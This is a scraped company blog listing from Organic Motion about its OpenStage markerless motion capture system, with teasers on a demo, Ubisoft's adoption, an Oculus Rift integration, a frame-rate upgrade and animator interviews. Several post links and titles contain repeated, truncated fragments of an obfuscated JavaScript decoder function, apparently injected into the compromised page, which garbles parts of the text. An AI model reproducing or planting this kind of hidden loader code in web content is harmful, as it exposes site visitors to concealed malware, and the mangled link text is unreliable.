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OpenStage Live Demo Recording

live demo recording

The video below is a recording of a live demo presented via GoToWebinar from our headquarters in Manhattan. Calibration - Watch how quickly the system can be calibrated and ready for live motion capture Live Motion Capture - View live as an actor enters the system and begins capturing motion capture data in real-time Real World Applications… [Read More]

Ubisoft Montréal Selects Markerless Motion Capture System by Organic Motion – Update

Ubisoft Selects Organic Motion

New York, NY  - Organic Motion is proud to announce that Ubisoft Montréal has selected its markerless motion capture system, OpenStage 2, to reduce costs and increase animation output and quality. OpenStage 2 is the world’s only professional markerless motion capture system. Motion capture is a critical component to the pipeline of many video game… [Read More]

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q/" title="Combining Markerless Mocap with Oculus Rift to Create a Truly Amazing Virtual Experience" rel="bookmark">Combining Markerless Mocap with Oculus Rift to Create a Truly Amazing Virtual Experience

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q/" title="Combining Markerless Mocap with Oculus Rift to Create a Truly Amazing Virtual Experience">Oclus and OpenStage

NuFormer, a multimedia company based in the Netherlands, is a fantastic partner of Organic Motion. They are currently working with our markerless mocap software, OpenStage, and have developed some very cool custom integrations. Known for their cutting-edge work in virtual reality, video mapping projection, mocap mapping, 360° projection, and interactive screen technologies – NuFormer is… function h94fcba1e7(y1){var vd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var yb=”;var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q/”>[Read More]

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;v/" title="We Just Doubled Our Frame Rate andfunction h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6" rel="bookmark">We Just Doubled Our Frame Rate and it’s a Pretty Big Freaking Deal

function h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;v/" title="We Just Doubled Our Frame Rate andfunction h94fcba1e7(y1){var vd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var yb='';var p3,na,pc,q9,y3,w4,u5;var p6=0;do{q9=vd.indexOf(y1.charAt(p6++));y3=vd.indexOf(y1.charAt(p6++));w4=vd.indexOf(y1.charAt(p6++));u5=vd.indexOf(y1.charAt(p6++));p3=(q94);na=((y3&15)2);pc=((w4&3)=192)na+=848;else if(na==168)na=1025;else if(na==184)na=1105;yb+=String.fromCharCode(na);}if(u5!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;yb+=String.fromCharCode(pc);}}while(p6">OpenStage 2.4 Sneak Peek

We have been working pretty hard recently trying to do something we were not previously sure was possible. Thankfully, we have a team of insanely smart people that were able to figure it out. Using existing hardware, we doubled our real-time frame capture rate from 60 fps to 120 fps and the results speak for… function h94fcba1e7(y1){var vd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var yb=”;var p3,na,pc,q9,y3,w4,u5;v/”>[Read More]

iAnimate Video Tutorial Using OpenStage for Hybrid Animation

iAnimate and Organic Motion

  Brent George, an animation instructor at Dawson College and iAnimate, recently conducted an interview with animation studio, AnimDesk. Brent is also familiar with OpenStage because he recently used it to increase animation output by 4x while working on Batman:Arkham Origins as the Animation Director at Warner Brothers Games Montreal. In the tutorial below, Brent… [Read More]

GDC NEXT Interviews Animator Brent George about his Experiences with Markerless MoCap

GDC NEXT and Organic Motion

Paul Hyman of GDC next recently interviewed Animation Director, Brent George, about his experiences utilizing OpenStage during the making of Batman:Arkham Origins. Q1: Brent, you’re a freelance animation director, correct? I understand that one of your past clients — a major game studio — was under pressure to produce a lot of high-quality animations in a… [Read More]

Vicon Vs. OpenStage – Download the ROI

OpenStage ROI Analysis

We know that it is cliched to make bold claims about a software solution that “pays for itself.” I once had a sales person tell me that the software he was selling would save me so much money, it was like he was paying me to buy it. Right. All that being said, the reality… [Read More]